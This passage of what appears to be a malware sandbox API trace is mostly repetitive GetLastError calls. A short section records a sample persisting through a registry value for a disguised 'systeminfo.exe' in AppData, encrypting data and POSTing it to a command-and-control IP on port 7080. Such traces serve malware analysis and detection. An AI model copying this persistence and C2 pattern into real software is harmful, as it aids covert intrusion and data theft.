GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.579] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.580] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.581] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.582] GetLastError () returned 0x0 [0079.584] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0079.584] GetCurrentProcessId () returned 0x81c [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.584] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.585] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.586] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.587] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.588] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.589] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.590] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.591] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.592] GetLastError () returned 0x0 [0079.594] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0079.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0079.594] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0079.594] GetLastError () returned 0x0 [0079.594] wsprintfA (in: param_1=0x2f1fb8f, param_2="%X%P" | out: param_1="741BA8P") returned 7 [0079.594] SetLastError (dwErrCode=0x0) [0079.594] GetCurrentProcessId () returned 0x81c [0079.594] GetCurrentProcessId () returned 0x81c [0079.594] GetCurrentProcessId () returned 0x81c [0079.594] GetCurrentProcessId () returned 0x81c [0079.595] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0079.595] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db8e8, Final=1, dwFlags=0x0, pbData=0x40ccf8, pdwDataLen=0x2f1fcfc | out: pbData=0x40ccf8, pdwDataLen=0x2f1fcfc) returned 1 [0079.595] CryptVerifySignatureW (hHash=0x3db8e8, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0079.595] CryptDestroyHash (hHash=0x3db8e8) returned 1 [0079.595] lstrlenA (lpString="just string") returned 11 [0079.595] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0079.595] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.595] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0079.595] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.595] RegSetValueExW (in: hKey=0x3fc, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0079.596] RegCloseKey (hKey=0x3fc) returned 0x0 [0079.596] lstrlenA (lpString="just string") returned 11 [0079.596] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0079.992] GetTickCount () returned 0x23033 [0079.992] GetLastError () returned 0x0 [0079.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0079.992] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0079.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3fc [0079.994] GetLastError () returned 0x0 [0080.007] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0080.007] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db8e8, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0080.007] GetLastError () returned 0x12 [0080.007] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0080.007] CryptGetHashParam (in: hHash=0x3db8e8, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0080.007] CryptDestroyHash (hHash=0x3db8e8) returned 1 [0080.007] GetLastError () returned 0x0 [0080.008] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0080.008] GetCurrentProcessId () returned 0x81c [0080.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0080.008] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0080.008] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0080.008] GetLastError () returned 0x0 [0080.008] GetLastError () returned 0x0 [0080.008] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0080.009] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0080.573] lstrlenA (lpString="just string") returned 11 [0080.573] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.573] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.574] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.575] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.576] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] GetLastError () returned 0x0 [0080.577] 